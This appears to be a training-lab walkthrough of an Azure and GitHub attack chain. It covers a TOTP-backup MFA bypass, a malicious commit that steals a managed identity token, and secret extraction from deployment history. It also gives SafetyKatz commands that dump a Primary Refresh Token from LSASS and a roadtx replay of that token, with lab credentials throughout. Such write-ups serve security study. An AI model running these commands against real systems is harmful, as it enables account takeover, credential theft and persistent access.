    GitHub Authentication and 2FA Bypass via TOTP Backups

    Accessing the source code repository is the primary entry point for this attack chain. While GitHub accounts are usually protected by Multi-Factor Authentication (MFA), this security layer relies on the secrecy of the seed credentials. The lab demonstrates a bypass technique involving the theft of TOTP (Time-Based One-Time Password) Backup configurations. Developers often store recovery codes or the QR code "seed" images for their authenticator apps in insecure locations, such as local password managers, unencrypted text files, or shared drives. If you can recover these static secrets during a post-exploitation phase on a workstation, you can configure your own authenticator app to generate valid 2FA codes for the victim's account.
    This allows you to bypass the interactive MFA prompt, log in as the developer, and gain write access to the repository.

    Weaponization via Malicious Commits

    Once you possess write access to the repository, you weaponize the Continuous Deployment pipeline by pushing a Malicious Commit. Instead of legitimate application code, you commit a script designed to act as a backdoor or reverse shell. Because the Azure Function App is configured to trust the repository, it automatically pulls this malicious code and deploys it. This transforms the standard "git push" command into a remote code execution exploit. The moment the deployment completes, your malicious function runs inside the Azure environment, inheriting all the permissions and network access associated with that cloud resource.

    Managed Identity Token Acquisition from Execution Context

    Upon establishing code execution within the Function App, the primary objective is to elevate privileges by hijacking the Managed Identity. Azure injects specific environment variables IDENTITY_ENDPOINT and IDENTITY_HEADER into the runtime environment of the Function App. Your malicious script can query this internal endpoint to request an Access Token for the Managed Identity. This token acts as a digital passport, allowing your script to authenticate to other Azure resources (like Key Vaults, Storage Accounts, or the Azure Resource Manager) without needing a username or password. This effectively pivots your access from the application layer to the cloud identity plane.

    ARM Template Deployment History and Secret Extraction

    Possessing the Managed Identity token allows you to enumerate the Azure environment, specifically looking for ARM Template Deployment History. Azure logs every resource deployment, and these logs often contain the JSON templates used to create the infrastructure. A critical and common vulnerability occurs when administrators pass sensitive secrets (like passwords or API keys) as plain-text parameters instead of using secure references. By querying the deployment history of a Resource Group using the stolen token, you can parse these legacy JSON logs to uncover "forgotten" secrets that grant administrative access to databases, virtual machines, or other isolated environments that the Managed Identity itself could not directly access.

    SSH Key Exfiltration and Supply Chain Pivoting

    The final phase of this attack involves closing the loop on the supply chain by identifying and exfiltrating SSH Deployment Keys. In many CI/CD configurations, the Azure Function App requires an SSH key to authenticate back to a private GitHub repository for pulling code. If you can locate this private key (typically stored in the file system or environment variables of the compromised app) and exfiltrate it, you gain persistent read/write access to the repository independent of the compromised user account.
    This allows you to maintain a backdoor in the source code even if the original compromised user changes their password, creating a persistent threat vector that targets the software supply chain itself.

    Recall that we found the app.zip Initial Access - App Service Abuse - OS Command Injection.

    During the exploitation of the OS Command Injection vulnerability on the virusscanner (also called processfile) Function App, we executed the command to dump the Environment Variables (env or printenv).
    Inside that environment dump, we located the variable SCM_RUN_FROM_PACKAGE. This variable contained a URL pointing to a Blob Storage account with a SAS token:https://storageaccountitaf0b.blob.core.windows.net/scm-releases/scm-latest-processfile.zip?sv=2014...

    This ZIP file contained the actual Source Code of the Function App. By downloading it (as mentioned in our analysis), we could inspect the code offline to find hardcoded credentials (like connection strings) or logic flaws that are not visible from the outside.

    As we can see on the screenshot above, inside the Dockerfile file we were able to find 2 hardcoded users and their passwords as well.

    If we try to login into Github.com, we will find out that both credentials are valid, but we do have both MFA enabled for github as well.

    Now, remember that we have also found an authenticator.txt file, this file is basically a backup of a GitHub's Time-based OTP (TOTP) app for laurenazad and if we import it into Chrome's Google Authenticator extension, we are able to get the TOTP.
    This time we will be able to login as Laurenazad into Github.

    Now, while enumerating the repo, if we go to the SimpleApps repository - https://github.com/DefCorp/SimpleApps. The README of the repository tells us that:

    This also contains an URL to a Function App: https://simpleapps.azurewebsites.net/api/Student<enterid>
    If we read our own studentID’s __init__.py file, we will find the following code:

    If we try to access the URL using ouur own studentID, we will get the same message that we have and the end of the __init__.py file.

    This indicates that changes made to __init__.py in this repo are used for continuous development for the function app 'SimpleApps'! so, if we make any change in our studentID (like student59’s __init__.py for example) it will be reflected on https://simpleapps.azurewebsites.net/api/Student59

    Let’s edit our __init__.py in the repo and paste the following code that gets an access token if there is a managed identity used by the function app.
    Recall that this is the code that we got from app.zip from the defcorpbackup storage account

    import logging, os
    import azure.functions as func
    
    def main(req: func.HttpRequest) -> func.HttpResponse:
    	logging.info('Python HTTP trigger function processed a request.')
    	IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    	IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    	cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    	val = os.popen(cmd).read()
    	return func.HttpResponse(val, status_code=200)

    Let’s now commit the changes and wait for a couple of minutes and browsing to https://simpleapps.azurewebsites.net/api/student59.

    Once we try to access the URL with our student59 ID again, we find out that we are able to get a Managed Identity Account Token.

    Deployment History Enumeration

    let’s use the above access token to authenticate and check for access to any resource group.
    We’ll perform an ARM Template Forensic Analysis to determine if administrators left any credentials behind when they created these resources. In Azure, every resource deployment leaves a permanent audit trail, and developers often accidentally include secrets in these deployment configurations which become readable to anyone with access to the deployment history.

    $ARM_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1Ni…"

    Connect-AzAccount -AccessToken $ARM_Token -AccountId "95f40eea-6653-4e11-b545-d9c2f5f90a29"

    Get-AzResource

    We have dentified a group named SAP. This is a high-value finding because "SAP" systems typically host mission-critical business data, making it a priority target.

    The next command drills down into the specific Deployment History for the SAP group.

    Get-AzResourceGroupDeployment -ResourceGroupName "SAP"

    The output reveals a deployment template where the administrator carelessly passed the vmAdminPassword parameter (sapadmin@12345) as a plain String instead of a SecureString. This provides us with a valid, cleartext password for the sapadmin user on the SAPSrv machine, giving us a direct path to compromise that server without needing to launch any further exploits.

    Let’s download the JSON templates corresponding to past server deployments and parse the text for sensitive artifacts.

    Save-AzResourceGroupDeploymentTemplate -ResourceGroupName SAP -DeploymentName stevencking_defcorphq.onmicrosoft.com.sapsrv

    Now we analyze the .json template with the following filter below.

    (type stevencking_defcorphq.onmicrosoft.com.sapsrv.json | ConvertFrom-Json | select -ExpandProperty Resources).resources.Properties.Settings.CommandToExecute

    $username = "stevencking@defcorphq.onmicrosoft.com";$password="St3v3nCanReadSt0rage@ccounts!!";

    We uncovered two distinct sets of credentials in this single deployment history.

    The first credential sapadmin with the password sapadmin@12345 found in the Parameters section acts as the Infrastructure Key. This is the Local Administrator account for the "SAPSrv" Virtual Machine itself. We use this credential to log into the server via RDP or SSH to gain control over the operating system, file system, and processes running on that specific machine.

    The second credential for stevencking with the password St3v3nCanReadSt0rage@ccounts!! found buried in the Template Script serves as a Cloud Identity Key. This password was hardcoded into an automation script designed to run after the server started up to perform Azure management tasks. Unlike the first password which limits us to just one server, this credential belongs to a valid Microsoft Entra ID user account. This means we can use it to authenticate to the Azure Portal or PowerShell from our own machine, likely gaining access to read restricted storage accounts or other cloud resources that the local server admin cannot touch.

    Enumerayion as Steve

    We absolutely must establish a fresh authenticated session as Steven King immediately because every new identity acts as a separate "keyring" that unlocks different doors within the cloud environment. We will utilize the cleartext credentials stevencking@defcorphq.onmicrosoft.com and St3v3nCanReadSt0rage@ccounts!! which we recovered from the deployment script to authenticate via PowerShell using the standard Connect-AzAccount command.

    Let’s start by requesting the ARM and Graph API Tokens and import it into Powershell to ease our enumeration.

    Well, if we try to login into portal.zure.com we will see that this user has MFA enabled.

    We attempted to access the main Azure Portal to retrieve the authentication tokens but we were immediately blocked because the account for Steven King has a strict Multi-Factor Authentication policy enforced on that specific website. The administrators configured the security rules to trigger an approval request on a mobile phone whenever someone accesses the primary dashboard which prevented us from proceeding since we only have the username and password.

    We successfully bypassed this restriction by simply navigating to cosmos.azure.com using our standard desktop browser. This simple pivot allowed us to log in using only the username and password because the administrators failed to include the specific "Azure Cosmos DB" application ID in the scope of the MFA enforcement policy.

    $ARM_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSU…"

    $Graph_Token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6IllN…"

    Connect-AzAccount -AccessToken $ARM_Token -MicrosoftGraphAccessToken $Graph_Token -AccountId "stevencking@defcorphq.onmicrosoft.com"

    This lack of consistency granted us a valid session where we could extract the universal Azure Resource Manager and Graph tokens from the developer tools, effectively giving us full administrative command over the environment despite being blocked at the front door.

    Once authenticated, we use the Get-AzResource command to perform infrastructure enumeration and verify what assets this user can actually see.

    Get-AzResource

    You must pay close attention to the Name and ResourceType fields in the output because they act as our targeting system. The output reveals a resource named defcorpcodebackup with the type Microsoft.Storage/storageAccounts inside the Finance resource group. This confirmation validates that our credential theft was successful and provides us with the exact coordinates of the target container that holds the backup data, allowing us to proceed to the next step of extracting the files.

    Let’s now try to login with Steve into Microsoft Azure Storage Explorer software inside our attacking machine. Let’s to Microsoft Azure Storage Explorer → Sign in with Azure and login as Steve.

    We can see above that we we able to login as Steve in Microsoft Azure Storage Explorer .

    We navigate into the secrets blob container within the defcorpcodebackup storage account and discovered the "Crown Jewels" of this phase.

    We effectively uncovered an SSH Private Key named id_rsa, which is one of the most valuable artifacts a red team can find because it grants passwordless access to whatever system it pairs with. By downloading this key along with the README.md, we just found out that this id_rsa key belongs to user jenniferazad.

    So let’s use this id_rsa key to login into github.com as jenniferazad.
    To confirm that the key works and to verify exactly which user identity is attached to it, we execute the SSH authentication check against GitHub using the -T flag which disables the interactive shell and just requests the server greeting.
    We use the -i parameter to explicitly force the SSH client to use the id_rsa file we just stole and secured rather than looking for a default key.

    We should run this command from your .ssh directory:

    ssh -i .\id_rsa -T git@github.com

    We need to pass Jenniferazad’s password we found previously and when this command succeeds, GitHub will not give us a shell prompt but will instead return a message saying "Hi <Username>! You've successfully authenticated...". This is the critical confirmation we need because it reveals the username of the compromised developer, allowing us to pivot to the next step where we will likely use git clone with this same key to download the source code mentioned in the README file.

    If you remember, in thi beginning of this lab, when we authenticated as laurenazad, we could see that we had 2 Repos, which are DefCorp/CreateUsers and DefCorp/SimpleApps.
    Let’s clone and read the README.md file.

    git clone git@github.com:DefCorp/CreateUsers.git

    We execute this enumeration by performing forensic analysis on the local copy of the repository we just cloned. The git version control system functions like a permanent ledger that records not just the code changes but also the specific identity of the person who made them. By entering the CreateUsers directory and executing the git log command we can view the entire chronological history of the project which allows us to audit exactly who has been maintaining this code.

    git clone git@github.com:DefCorp/CreateUsers.git

    When we inspect this log we are specifically looking for the Author field in the commit metadata. If we see entries explicitly listing jenniferazad or her email address as the author of recent changes it provides us with strong evidence that this user possesses Write (Push) privileges. In the context of a Continuous Deployment pipeline, proving that Jennifer has previously successfully pushed code to the repository confirms that her identity is trusted by the system and authorized to trigger the automated build process which is exactly the permission we need to leverage for our malicious injection.

    type README.md

    Let’s now create a folder student59 inside CreateUsers folder and also inside of it we need to create a user.json file with the following information below.

    {
     "accountEnabled": true,
     "displayName": "student59",
     "mailNickname": "student59",
     "userPrincipalName": "student59@defcorphq.onmicrosoft.com",
     "passwordProfile" : {
       "forceChangePasswordNextSignIn": false,
       "password": "Stud59Password@123"
     }
    }

    Now, from inside the sudent59 folder we finally, commit the changes to the CreateUsers repo.

    git add .

    git config --global user.email "81172144+jenniferazad@users.noreply.github.com"

    git config --global user.name "jenniferazad"

    git config --global user.name "jenniferazad"

    Now if we browse to the function app URL to trigger the continuous deployment and use our ID 59.

    We can see above that our user has been created and we can use the credentials of the user we created above to enumerate Entra ID! But let's save it for later!

  • Privilege Escalation - User Data and Custom Script Extension Abuse

    Azure VM User Data Fundamentals
    We need to understand that Azure VM User Data serves as a configuration injection mechanism designed to streamline the automated bootstrapping of servers. When an administrator creates a virtual machine, they often need to perform initial tasks like installing software or configuring firewalls before the server is usable. User Data allows them to pass scripts or configuration parameters into the Azure provisioning process which are then injected into the VM during its first boot cycle. Unlike standard files that might be deleted, this data allows for customization without creating custom images for every single server.

    Azure Instance Metadata Service (IMDS)
    The primary method for accessing this User Data from within a compromised machine is communicating with the Azure Instance Metadata Service. This service listens on the specific non-routable IP address 169.254.169.254, acting as a trusted internal web server that only the virtual machine itself can reach. By sending a carefully constructed HTTP GET request to this endpoint with the mandatory Metadata: true header, you can instruct the Azure platform to replay the configuration details used to build the server. This includes the network settings, location information, and critically, the contents of the User Data field.

    User Data Persistence and Encoding
    A vital architectural aspect you must master is how Azure stores this information. User Data is not a transient variable that disappears after the first boot, it persists as a permanent property of the Virtual Machine resource in the Azure Control Plane. Additionally, Azure does not encrypt this data but instead encodes it using Base64 to ensure binary data (like scripts) survives transmission via HTTP. This means that if you can retrieve the raw text string from the IMDS endpoint, you can easily decode it using standard tools to reveal the original contents exactly as the administrator typed them months or years ago.

    User Data Abuse and Credential Harvesting
    The abuse vector relies on the frequent administrative error of trusting the User Data field with sensitive secrets. Because this data is meant for "setting up" the server, administrators often paste hardcoded Domain Administrator credentials, database connection strings, or initial local admin passwords directly into these startup scripts. An attacker gaining a foothold on a low-privilege web server can query the IMDS, retrieve the User Data, and decode it to potentially uncover plaintext credentials that grant immediate lateral movement to domain controllers or sensitive databases, turning a low-impact compromise into a major breach.

    Azure Virtual Machine Extensions
    Extensions act as small software plugins that the Azure Control Plane installs on a Virtual Machine to perform post-deployment management tasks. You can think of them as specialized agents for specific jobs, such as monitoring system performance, resetting lost passwords, or installing antivirus protection. They function by installing a local agent on the OS that listens for instructions coming specifically from the Azure management network, essentially bridging the gap between the cloud portal and the operating system.

    Custom Script Extension (CSE)
    The Custom Script Extension is the most versatile and powerful variant of these plugins because it allows for arbitrary code execution. It effectively tells the VM agent to download a specific script file (from a storage account or GitHub) and run it immediately. Architecturally, this means the execution trigger comes from the Azure platform itself ("the cloud"), not from a user logging in through the front door (RDP/SSH). This allows administrators to run updates or patches on thousands of servers simultaneously without ever needing to open a network port.

    Custom Script Extension Abuse
    Adversaries abuse this mechanism by leveraging the specific extensions/write permission. Since the Azure agent executes extension scripts with SYSTEM (Windows) or Root (Linux) privileges, being able to write a new extension configuration is functionally equivalent to having root access. By pushing a malicious script configuration to the VM object via the API, you can force the server to download your attack payload and execute it with the highest possible privileges. This technique is particularly potent because it does not require you to know the VM's current password or bypass its firewall, you are simply "updating its configuration" using valid Azure permissions.

    Azure Arc Security Risks
    Azure Arc extends this exact management capability to servers that are running outside of Azure, such as physical servers in an on-premises data center or machines in AWS. When a server is "Arc-enabled," it installs an agent that connects it back to the Azure Control Plane. Mastering this topic involves understanding that compromising a cloud identity with "Extension Write" permissions on an Arc resource allows you to push Custom Script Extensions to physical on-prem servers. This turns a cloud identity compromise into an on-premises physical network compromise, effectively jumping the air gap between the cloud and the internal corporate network.

    ARM REST API for Hidden Permissions
    Standard graphical interfaces often simplify permissions by hiding granular actions, which can cause you to miss attack paths. To uncover these, you must make direct calls to the Azure Resource Manager (ARM) REST API. The specific endpoint structure is https://management.azure.com/subscriptions/{ID}/resourceGroups/{RG}/providers/Microsoft.Compute/virtualMachines/{VM}/providers/Microsoft.Authorization/permissions?api-version=2015-07-01. Querying this URL returns a raw JSON object detailing every single specific action your token can perform. This is often where you discover you have the subtle extensions/write permission even if your role doesn't look like a full "Administrator" in the portal.

    Internal Network Enumeration
    Once you have compromised a machine, you are sitting on a private virtual network. Since you cannot verify connectivity from the outside, you must perform enumeration from within. Tools like netstat (specifically netstat -ano) allow you to inspect the active TCP/IP connections of the compromised host. Seeing established connections to internal IP addresses on ports like 445 (SMB) or 389 (LDAP) allows you to map out which other servers communicate with your current target, helping you identify domain controllers or file servers for lateral movement.

    Lateral Movement via WinRM/PSRemoting
    Moving between compromised Windows hosts internally relies on the Windows Remote Management (WinRM) protocol. Unlike external attacks where you might use a reverse shell, moving laterally often uses valid credentials or PSSessions initiated from an internal jump host. Mastering this requires handling the TrustedHosts configuration because Windows blocks authentication to "unknown" internal IP addresses by default. You must configure your compromised machine to trust the next target in the chain, allowing you to use native commands like Enter-PSSession to interactively manage deep internal servers.

    Entra ID Device State Identification
    Finally, validating the device's identity status using the command dsregcmd /status determines the value of the host you have compromised. If a machine is "Azure AD Joined," it means cloud identities authenticate to it directly. This signals a high potential for Primary Refresh Token (PRT) theft. If you can escalate to SYSTEM privileges on a device in this state, you may be able to extract tokens that allow you to impersonate the logged-in administrator on the Azure Portal itself, completing the cycle from infrastructure compromise back to cloud management compromise.

    Accessing JumVM

    We successfully added a local user to the jumpvm during Lateral Movement - Phishing - Evilginx3.

    In that specific scenario, we executed the attack after compromising the VMContributor account by abusing the Authentication Administrator privileges held by Roy G. Cain. Since the VMContributor user was a member of the "VM Admins" group, we utilized their valid Azure session to execute the Invoke-AzVMRunCommand against the jumpvm resource. This action forced the Azure Agent to create a local administrator account on the server, which we subsequently used to verify our full control over the infrastructure.

    Let’s now access jumpvm remotely.

    $password = ConvertTo-SecureString 'Stud59Password@123' -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential('student59', $password)
    $jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
    Enter-PSSession -Session $jumpvm

    Extracting PRT and executing Pass-The-Certificate

    We execute Method 1 as a memory-based identity theft operation designed to extract and weaponize the active cloud session of a logged-in user without needing their cleartext password. Instead of searching for files on the disk, we interact directly with the Local Security Authority Subsystem Service (LSASS) process to dump the Primary Refresh Token which serves as the persistent digital identity card for Azure AD users on modern Windows devices.

    We rely on specialized tools like SafetyKatz to access the Cloud Authentication Provider module loaded in the system's memory. By triggering this extraction, we retrieve two critical cryptographic artifacts which are the Primary Refresh Token itself and the associated Session Key or Context Key. The PRT is effectively the user's authentication ticket, but it is cryptographically bound to the specific hardware of the machine. The Session Key allows us to unlock that binding, so we extract and decrypt this key using the Windows Data Protection API (DPAPI) to make the identity portable for use on our own attacking infrastructure.

    We conclude this method by utilizing these stolen artifacts to execute the Pass-The-Certificate attack against other servers in the network. Since the target environment utilizes Azure AD Joined devices, we use the extracted PRT and Session Key to generate a valid Peer-to-Peer certificate. This forged credential allows us to authenticate via Windows Remote Management to high-value infrastructure servers by presenting a cryptographic proof of identity that satisfies the Azure authentication mechanism, effectively letting us bypass Multi-Factor Authentication and move laterally as the trusted user.

    Verifying the Device Identity State

    We execute the command dsregcmd /status at the very beginning of our engagement on the compromised Virtual Machine because we must determine if the target is physically capable of yielding the tokens we want. This built-in Windows diagnostic tool queries the operating system's internal state to confirm if the AzureAdJoined flag is set to YES which serves as the "green light" for the attack. Finding a machine in this joined state confirms that an Entra ID identity (Primary Refresh Token) is likely present in the memory or TPM and that the machine possesses a Device Certificate that identifies it to the cloud.

    dsregcmd /status

    +----------------------------------------------------------------------+
    | Device State                                                         |
    +----------------------------------------------------------------------+
    
                 AzureAdJoined : YES
              EnterpriseJoined : NO
                  DomainJoined : NO
                   Device Name : jumpvm
    
    +----------------------------------------------------------------------+
    | Device Details                                                       |
    +----------------------------------------------------------------------+
    
                      DeviceId : aaa103c3-0c08-4a45-bc29-912dd065d8aa
                    Thumbprint : 5C2B392BD07CCE7A54FA6600DC3ED7CA47ECA663
     DeviceCertificateValidity : [ 2023-07-27 13:01:24.000 UTC -- 2033-07-27 13:31:24.000 UTC ]
                KeyContainerId : a0f369d3-c050-4f7b-b8b5-209c1639924c
                   KeyProvider : Microsoft Software Key Storage Provider
                  TpmProtected : NO
              DeviceAuthStatus : SUCCESS
    
    +----------------------------------------------------------------------+
    | Tenant Details                                                       |
    +----------------------------------------------------------------------+
    
                    TenantName : Defense Corporation
                      TenantId : 2d50cb29-5f7b-48a4-87ce-fe75a941adb6
                           Idp : login.windows.net
                   AuthCodeUrl : https://login.microsoftonline.com/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/oauth2/authorize
                AccessTokenUrl : https://login.microsoftonline.com/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/oauth2/token
                        MdmUrl : https://enrollment.manage.microsoft.com/enrollmentserver/discovery.svc
                     MdmTouUrl : https://portal.manage.microsoft.com/TermsofUse.aspx
              MdmComplianceUrl : https://portal.manage.microsoft.com/?portalAction=Compliance
                   SettingsUrl :
                JoinSrvVersion : 2.0
                    JoinSrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/device/
                     JoinSrvId : urn:ms-drs:enterpriseregistration.windows.net
                 KeySrvVersion : 1.0
                     KeySrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/key/
                      KeySrvId : urn:ms-drs:enterpriseregistration.windows.net
            WebAuthNSrvVersion : 1.0
                WebAuthNSrvUrl : https://enterpriseregistration.windows.net/webauthn/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/
                 WebAuthNSrvId : urn:ms-drs:enterpriseregistration.windows.net
        DeviceManagementSrvVer : 1.0
        DeviceManagementSrvUrl : https://enterpriseregistration.windows.net/manage/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/
         DeviceManagementSrvId : urn:ms-drs:enterpriseregistration.windows.net
    
    +----------------------------------------------------------------------+
    | User State                                                           |
    +----------------------------------------------------------------------+
    
                        NgcSet : NO
               WorkplaceJoined : NO
                 WamDefaultSet : ERROR (0x80070520)
    
    +----------------------------------------------------------------------+
    | SSO State                                                            |
    +----------------------------------------------------------------------+
    
                    AzureAdPrt : NO
           AzureAdPrtAuthority :
                 EnterprisePrt : NO
        EnterprisePrtAuthority :
    
    +----------------------------------------------------------------------+
    | Diagnostic Data                                                      |
    +----------------------------------------------------------------------+
    
            AadRecoveryEnabled : NO
        Executing Account Name : jumpvm\student59
                   KeySignTest : PASSED
    
            DisplayNameUpdated : YES
              OsVersionUpdated : YES
               HostNameUpdated : YES
    
          Last HostName Update : SUCCESS
                   Client Time : 2023-07-28 16:43:55.000 UTC
                    Request ID : 0a75ff80-a255-40a0-b683-f57eccc62815
                   Server Time : 07-28-2023 16:43:55Z
                   HTTP Status : 200
                Server Message : The attribute 'hostnames' value(s) were successfully updated
    
    +----------------------------------------------------------------------+
    | IE Proxy Config for Current User                                     |
    +----------------------------------------------------------------------+
    
          Auto Detect Settings : YES
        Auto-Configuration URL :
             Proxy Server List :
             Proxy Bypass List :
    
    +----------------------------------------------------------------------+
    | WinHttp Default Proxy Config                                         |
    +----------------------------------------------------------------------+
    
                   Access Type : DIRECT
    
    +----------------------------------------------------------------------+
    | Ngc Prerequisite Check                                               |
    +----------------------------------------------------------------------+
    
                IsDeviceJoined : YES
                 IsUserAzureAD : NO
                 PolicyEnabled : NO
              PostLogonEnabled : YES
                DeviceEligible : YES
            SessionIsNotRemote : YES
                CertEnrollment : none
                  PreReqResult : WillNotProvision

    We can see using the above commands that $jumpvm is Entra ID joined

    Then we execute the qwinsta (Query Windows Station) command to perform Active Session Enumeration on the compromised host. This is a critical "Situational Awareness" step we take immediately after gaining a foothold but before we attempt any disruptive actions like restarting services or forcing an RDP connection.

    We use this command because it reveals exactly who is currently logged in to the machine and, more importantly, whether they are active or disconnected. By looking at the output, specifically the rdp-tcp and console sessions, we can determine if a legitimate administrator is currently working on the server. If we see an active session with a high-privilege user ID, we know to tread lightly to avoid alerting them (for example, by accidentally kicking them off their RDP session). Additionally, finding a "Disconnected" session belonging to a high-value user gives us a potential opportunity to hijack that session later, allowing us to resume their work context without needing to know their password.

    qwinsta

    • Active User Identified: We see that the user SamCGray is currently logged in with an Active status on session ID 2. The session name rdp-tcp#52 confirms he is connected remotely via RDP.
    • The Attack Opportunity: Knowing that SamCGray is logged in suggests that his credentials (likely hash or PRT) are currently loaded in the system's memory (LSASS). This makes this specific machine a high-value target for dumping credentials using tools like SafetyKatz or extracting his Primary Refresh Token (PRT) to pivot into the cloud infrastructure. If he were "Disconnected," we might try to hijack his session, but since he is "Active," we must be careful not to disrupt him.

    Let’s start by uploading SafetyKatz.exe and Loader.exe into jumvm machine. we are using the following Copy-Item command because we have setup the variables before and we already the access to jumvm.

    Copy-Item -Path "C:\Users\studentuser59\Downloads\Loader.exe" -ToSession $jumpvm -Destination "C:\"

    Copy-Item -Path "C:\Users\studentuser59\Downloads\SafetyKatz.exe" -ToSession $jumpvm -Destination "C:\"

    Requesting (PRT) Primary Refresh Token for SamCGray

    In the first step we utilize SafetyKatz to interact with the Cloud Authentication Provider module inside the Windows LSASS process. We execute this command to extract the Primary Refresh Token (PRT) which is the long string representing the user's active session cookie and a critical component called the KeyValue or Proof of Possession Key.

    .\Loader.exe -Path .\SafetyKatz.exe -args "privilege::debug" "sekurlsa::evasive-cloudap" "exit”

    This initial dump effectively retrieves the user's encrypted "ID Card" for the cloud but this card is cryptographically locked to this specific computer's hardware.

    Extracting the Session Key

    In the second step we perform the decryption necessary to make that stolen identity usable on our own attacking machine. We take the KeyValue we discovered in the first step and feed it back into SafetyKatz to execute a DPAPI (Data Protection API) unprotect command.

    .\Loader.exe -Path .\SafetyKatz.exe -args "privilege::debug" "token::elevate" "dpapi::cloudapkd /keyvalue:AQAAAAEAAAABAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACj… /unprotect" "exit"

    We do this because the Azure PRT requires a cryptographic signature to work and by decrypting this key we recover the Derived Key or Clear Key. This derived key is the mathematical secret we need to "sign" our web requests essentially allowing us to take the PRT off this server and use it on our own laptop to trick Azure into believing we are SamCGray logging in from this trusted, corporate-managed device.

    Importance of PRT Replay

    Now, we will copy the values of PRT and session key onto a new PowerShell session on Student VM and use them to execute Pass-the-PRT for SamCGray, using roadtx. Note that we are using Client ID of Az
    PowerShell and resource URL of Graph API.
    Replaying the Primary Refresh Token using the roadtx prtauth command is the foundational step for bypassing modern zero-trust security architecture. Simply stealing a password hash or an NTLM hash is no longer sufficient in cloud environments because Conditional Access Policies will block authentication attempts that originate from unmanaged or unknown devices.

    .\venv\Scripts\activate

    roadtx prtauth --prt "MS5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0b2M3cWpod…" --prt-sessionkey "4765a512f6cb724a2294a4bf22cb674f69f12d5f88bd4ae29ac75fa847d2c6df" -c 1950a258-227b-4e31-a9cf-717495945fc2 -r msgraph

    deactivate
    $TokenJson = Get-Content -Raw -Path "C:\AzAD\Tools\ROADtools\.roadtools_auth" | ConvertFrom-Json
    $AccountId = "
    samcgray@defcorphq.onmicrosoft.com"
    $ARM_Token = $TokenJson.accessToken

    $Graph_Token = ConvertTo-SecureString $ARM_Token -AsPlainText -Force
    Connect-MgGraph -AccessToken $Graph_Token

    By completing this replay step and generating a token signed with the session key, we effectively clone the device's trust state onto our own laptop which convinces the Azure platform that our malicious traffic is originating from a compliant corporate workstation. This is crucial for the next phase because it allows us to interact with the directory and perform reconnaissance without triggering fraud detection alerts or MFA prompts that would immediately end our operation.

    Importance of Device Enumeration

    Executing the Get-MgUserOwnedDevice command acts as our targeting mechanism to turn generic access into specific infrastructure compromise. In an environment with hundreds of servers, randomly trying to move laterally is noisy and likely to fail due to firewall rules. Identifying specific assets like infradminsrv that are explicitly owned by the compromised user allows us to focus our efforts on targets where we are virtually guaranteed to have local administrative rights by virtue of that ownership.

    Get-MgUserOwnedDevice -UserId $AccountId

    Setting the Stage for Domain Dominance

    These steps define the entire trajectory of the final attack phase because finding an "Infrastructure Admin" server creates a clear path to complete network dominance. We transition from holding credentials for a standard user or a backup administrator to targeting a server that likely holds Domain Admin credentials or manages critical identity components like AD Connect. We can check the user-owned devices for SamCGray. There is a high chance that SamCGray would be a local administrator on owned devices.

    $listofDeviceIds = (Get-MgUserOwnedDevice -UserId $accountId).Id; foreach ($item in $listofDeviceIds) {Get-MgDevice -DeviceId $item | Select DisplayName, OperatingSystem, OperatingSystemVersion, ProfileType, TrustType, ApproximateLastSignInDateTime}

    This enumeration creates a direct map for our next movement by revealing the exact hostname and operating system version of the highest-value asset our user controls, removing the guesswork from lateral movement. Taking the time to validate the Trust Type as AzureAd in the output confirms that if we pivot to this machine in the next steps using tools like PowerShell Remoting, we will likely gain access to a hybrid identity token or credentials capable of controlling the entire on-premises and cloud environment simultaneously.

    The single most valuable target visible in this output is unequivocally the device named infradminsrv because its hostname suggests it is an Infrastructure Administration Server which typically represents a high-security management asset.

    While the other devices like jumpvm are likely just standard gateways used for general network access the infradminsrv is likely a Privileged Access Workstation or a management server where administrators perform sensitive tasks like managing Active Directory or configuring core cloud services. This distinction makes it the priority target because gaining control of an administration server significantly increases the probability that we can harvest high-privilege credentials such as Domain Admin hashes or unrestricted tokens that would grant us total dominance over the entire network environment. The fact that it is AzureAD joined and actively communicating with the network confirms that we can utilize the lateral movement techniques we practiced earlier to pivot directly into this management hub.

    Let’s now enumerate our jumvm IP and confirm if it can reach infradminsrv server.

    ipconfig

    ping.exe 10.0.1.5

    The check above, can confirm that IP 10.0.1.4 is our own local IP and we also can reach the infradminsrv by pinging its IP 10.0.1.5.

    Pass-The-Certificate attack

    Generating the Cloud-to-Cloud Authentication Token

    We are initiating a specific authentication flow known as the Device P2P (Peer-to-Peer) Flow to enable lateral movement between two Azure AD joined machines. Unlike traditional on-premises networks where we would use Kerberos tickets or NTLM hashes to move from the jumpvm to the infradminsrv, Azure AD-joined devices typically require a signed User-to-Device certificate to authenticate PowerShell Remoting sessions. Since we do not possess the legitimate certificate on our attacking machine, we must manufacture one using the identity artifacts we stole earlier.

    We utilize the entraptc.exe tool to forge this credential by feeding it the Primary Refresh Token (PRT) and the Session Key we extracted from the memory of the previous compromised user. It is crucial to note that the PRT we originally dumped is Base64 encoded, so we must first decode it into its raw JSON or binary format because entraptc.exe expects the direct token structure to interact with the Azure API. The tool effectively replays these artifacts to the Azure authentication service and requests a specialized "P2P" certificate on behalf of the victim user.

    The output of this operation is a PFX file (a certificate bundle containing a public and private key). This .pfx file is the architectural equivalent of a "Golden Ticket" for Azure AD P2P connectivity. Once we successfully generate and import this certificate into our local session, the Windows authentication subsystem will automatically use it to cryptographically sign our connection requests to infradminsrv, convincing the remote server that we are the legitimate user connecting from a compliant device and allowing us to establish a PSRemoting session without needing a cleartext password.

    Now, from our attacking machine, we will utilize the information we were able to gather from jumvm previously, like PRT and SessionKey to create this certificate.

